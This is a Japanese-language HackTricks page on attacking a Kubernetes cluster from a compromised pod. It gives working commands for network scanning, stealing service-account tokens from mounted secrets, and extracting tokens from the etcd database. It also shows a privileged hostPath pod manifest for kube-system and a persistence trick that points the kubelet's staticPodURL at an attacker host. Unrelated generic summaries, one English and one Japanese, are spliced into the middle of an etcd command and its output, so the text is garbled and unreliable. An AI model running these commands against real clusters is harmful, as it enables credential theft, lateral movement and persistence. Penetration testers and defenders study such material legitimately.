Attacking Kubernetes from inside a Pod

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

Pod Breakout

運が良ければ、それからノードに脱出できるかもしれません:

ポッドからの脱出

ポッドから脱出するためには、まず特権を昇格する必要があります。これを行うためのいくつかのテクニック:

犯したポッドから脱出しようとするために、次のdocker breakoutsをチェックできます:

Kubernetes権限の乱用

Kubernetes列挙に関するセクションで説明されているように:

pageKubernetes Enumeration

通常、ポッドはその中にサービスアカウントトークンを持って実行されます。このサービスアカウントには、権限が付与されている場合があり、これを乱用して他のポッドに移動したり、クラスター内で構成されたノードに脱出したりすることができます。方法は次のとおりです:

pageAbusing Roles/ClusterRoles in Kubernetes

クラウド権限の乱用

ポッドがクラウド環境内で実行されている場合、メタデータエンドポイントからトークンをリークし、それを使用して特権を昇格させることができるかもしれません。

脆弱なネットワークサービスの検索

Kubernetes環境内にいるため、現在のポッドの権限を乱用して特権を昇格させることができず、コンテナから脱出することができない場合は、潜在的に脆弱なサービスを検索する必要があります。

サービス

この目的のために、Kubernetes環境のすべてのサービスを取得しようとできます:

kubectl get svc --all-namespaces

デフォルトでは、Kubernetesはフラットなネットワーキングスキーマを使用しており、クラスタ内の任意のポッド/サービスが他のポッド/サービスと通信できることを意味します。クラスタ内のネームスペースには、デフォルトでネットワークセキュリティ制限がありません。ネームスペース内の誰もが他のネームスペースと通信できます。

スキャン

以下のBashスクリプト(Kubernetesワークショップから取得)は、KubernetesクラスタのIP範囲をインストールしてスキャンします:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

以下のページをチェックして、Kubernetes固有のサービスを攻撃して他のポッド/環境全体を侵害する方法を学んでください:

pagePentesting Kubernetes Services

スニッフィング

侵害されたポッドが実行されている場合、他のポッドが認証する必要がある機密サービスの場合、ローカル通信をスニッフィングして他のポッドから送信された資格情報を取得できるかもしれません。

ネットワーク・スプーフィング

デフォルトでは、ARPスプーフィング(およびそれによるDNSスプーフィング)などのテクニックがKubernetesネットワークで機能します。その後、ポッド内で、デフォルトで存在するNET_RAW機能を持っている場合、カスタムに作成したネットワークパケットを送信し、同じノードで実行されているすべてのポッドに対してARPスプーフィングを使用したMitM攻撃を実行できます。 さらに、悪意のあるポッドDNSサーバーと同じノードで実行されている場合、クラスタ内のすべてのポッドに対してDNSスプーフィング攻撃を実行できます。

pageKubernetes Network Attacks

ノードDoS

Kubernetesマニフェストにリソースの仕様がなく、コンテナに適用されていない制限範囲がない場合、攻撃者として、ポッド/デプロイメントが実行されているリソースをすべて消費し、他のリソースを枯渇させ、環境にDoSを引き起こすことができます。

これは、stress-ngなどのツールを使用して行うことができます。

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

stress-ngを実行している間とその後の違いがわかります

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

ノードのポストエクスプロイテーション

コンテナから脱出に成功した場合、ノード内で次の興味深い情報が見つかります:

  • コンテナランタイムプロセス(Docker)

  • このような他のポッド/コンテナが実行されているノード(追加のトークン)

  • 全体のファイルシステムおよび一般的なOS

  • リスニングしているKube-Proxyサービス

  • リスニングしているKubeletサービス。構成ファイルを確認してください:

    • ディレクトリ:/var/lib/kubelet/

    • /var/lib/kubelet/kubeconfig

    • /var/lib/kubelet/kubelet.conf

    • /var/lib/kubelet/config.yaml

    • /var/lib/kubelet/kubeadm-flags.env

    • /etc/kubernetes/kubelet-kubeconfig

  • その他のKubernetes共通ファイル

    • $HOME/.kube/config - ユーザー構成

    • /etc/kubernetes/kubelet.conf- 通常の構成

    • /etc/kubernetes/bootstrap-kubelet.conf - ブートストラップ構成

    • /etc/kubernetes/manifests/etcd.yaml - etcd構成

    • /etc/kubernetes/pki - Kubernetesキー

ノードのkubeconfigを見つける

以前にコメントされたパスのいずれかにkubeconfigファイルが見つからない場合は、kubeletプロセスの引数--kubeconfigを確認してください:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

秘密の盗み取り

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

スクリプトcan-they.shは、自動的に他のポッドのトークンを取得し、1つずつ確認する代わりに、探している権限を持っているかどうかをチェックします:

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

特権を持つDaemonSets

DaemonSetはクラスタのすべてのノードで実行されるポッドです。したがって、DaemonSetが特権サービスアカウントで構成されている場合、すべてのノードでその特権サービスアカウントトークンを悪用できます。

この脆弱性は前のセクションと同じですが、今回は運に左右されません。

クラウドへのピボット

クラスタがクラウドサービスによって管理されている場合、通常、ノードはポッドとは異なるアクセス権を持っています。したがって、ノードからメタデータエンドポイントにアクセスしようとしてください(またはhostNetworkをTrueに設定したポッドから):

pageKubernetes Pivoting to Clouds

etcdの盗み出し

コンテナを実行するノードのnodeNameを指定できる場合は、コントロールプレーンノード内でシェルを取得し、etcdデータベースを取得してください。

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

control-plane ノードには role master があり、クラウド管理クラスタではそれらで何も実行できません

etcd からシークレットを読み取る

ポッドのスペックで nodeName セレクタを使用してコントロールプレーンノードでポッドを実行できる場合、etcd データベースに簡単にアクセスできるかもしれません。このデータベースには、クラスタのすべての構成とシークレットが含まれています。

以下は、コントロールプレーンノードで実行されている etcd からシークレットを取得するクイックで汚い方法です。etcd クライアントユーティリティ etcdctl を使用してポッドを起動し、コントロールプレーンノードの資格情報を使用して実行中の etcd に接続するよりエレガントなソリューションが必要な場合は、@mauilion の この例のマニフェスト をチェックしてください。

コントロールプレーンノードで etcd が実行されているかどうかを確認し、データベースがどこにあるかを確認します(これは kubeadm で作成されたクラスタの場合です)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
## Attacking Kubernetes from Inside a Pod

### Introduction

When an attacker gains access to a pod within a Kubernetes cluster, they are in a privileged position to carry out further attacks. This section explores various techniques that an attacker can use to escalate privileges and move laterally within the cluster.

### Escalating Privileges

#### Accessing the Kubernetes API

If the pod has a service account token mounted, the attacker can use it to access the Kubernetes API and potentially gain more control over the cluster.

#### Exploiting Misconfigurations

Attackers can look for misconfigurations within the cluster that may allow them to escalate privileges. For example, they can search for exposed credentials or insecure pod configurations.

### Moving Laterally

#### Pod Hopping

Attackers can move laterally by compromising one pod and then using it as a stepping stone to attack other pods within the cluster.

#### Accessing Secrets

Once inside a pod, attackers can search for and access sensitive information such as API keys, passwords, or other secrets stored within the cluster.

### Conclusion

Securing pods within a Kubernetes cluster is crucial to prevent attackers from escalating privileges and moving laterally within the cluster. Regular security assessments and audits can help identify and mitigate potential vulnerabilities.
data-dir=/var/lib/etcd

etcdデータベース内のデータを表示する:

strings /var/lib/etcd/member/snap/db | less

データベースからトークンを抽出し、サービスアカウント名を表示します

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

同じコマンドですが、kube-systemネームスペース内のデフォルトトークンのみを返すためのいくつかのgreps

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

Kubernetes内のPodから攻撃する

Kubernetesクラスタ内のPodから攻撃を行う場合、いくつかの手法があります。

1. ホストマシンへのアクセス

Pod内からホストマシンにアクセスすることで、ホストマシン上のファイルシステムにアクセスできる可能性があります。例えば、/procディレクトリにアクセスすることで、ホストマシンの情報を取得できます。

2. ネットワークスニッフィング

Pod内でネットワークスニッフィングを行うことで、クラスタ内のトラフィックを盗聴することができます。これにより、機密情報が漏洩する可能性があります。

3. クラスタ内の他のPodへのアクセス

Pod内から同じクラスタ内の他のPodにアクセスすることで、他のPodに対する攻撃を行うことができます。これにより、クラスタ内の他のサービスに影響を与える可能性があります。

これらの攻撃手法は、セキュリティ上の脆弱性を突いたり、認証情報を盗み出したりすることで実行される可能性があります。セキュリティを強化するためには、Pod内での最小特権の原則を遵守し、セキュリティコンテキストを適切に設定することが重要です。

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

静的/ミラーポッドの永続性

静的ポッド は、APIサーバーが監視していない特定のノード上でkubeletデーモンによって直接管理されます。制御平面によって管理されるポッド(たとえば、Deploymentなど)とは異なり、kubeletは各静的ポッドを監視し(失敗した場合は再起動します)。

したがって、静的ポッドは常に特定のノード上の1つのKubeletにバインドされています

kubeletは、各静的ポッドに対してKubernetes APIサーバー上にミラーポッドを自動的に作成しようとします。これにより、ノード上で実行されているポッドはAPIサーバー上で表示されますが、そこから制御することはできません。ポッド名は、ノードのホスト名に先行するハイフンで接尾辞が付きます。

静的ポッドの spec は他のAPIオブジェクトを参照できません(たとえば、ServiceAccount、ConfigMap、Secretなど)。そのため、現在のノードで任意のserviceAccountを使用してポッドを起動するためにこの動作を悪用することはできません。ただし、これを使用して異なる名前空間でポッドを実行することはできます(何らかの理由で便利な場合があります)。

ノードホスト内にいる場合、自分自身内に静的ポッドを作成することができます。これはかなり便利です。なぜなら、kube-systemのような異なる名前空間にポッドを作成できる可能性があるからです。

静的ポッドを作成するには、ドキュメントが大いに役立ちます。基本的に2つのことが必要です:

  • kubeletサービスまたはkubelet構成staticPodPath)でパラメータ --pod-manifest-path=/etc/kubernetes/manifests を構成し、サービスを再起動します

  • /etc/kubernetes/manifests内のポッド定義で定義を作成します

もう1つのより隠れた方法は次のとおりです:

  • kubelet構成ファイルのパラメータ staticPodURL を変更し、staticPodURL: http://attacker.com:8765/pod.yamlのように設定します。これにより、kubeletプロセスが指定されたURLから構成を取得して静的ポッドを作成します。

ここから取得したkube-system内の特権ポッドを作成するポッド構成の例:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

ポッドの削除 + スケジュール不可能なノード

攻撃者がノードを侵害し、他のノードからポッドを削除し、他のノードがポッドを実行できなくすることができる場合、ポッドは侵害されたノードで再実行され、彼はそれらで実行されるトークンを盗むことができます。 詳細については、このリンクを参照してください。

自動ツール

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

  • HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!

  • The PEASS Family、当社の独占的なNFTsコレクションを発見する

  • 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmフォロー**する。

  • HackTricks(https://github.com/carlospolop/hacktricks)およびHackTricks Cloud(https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。

最終更新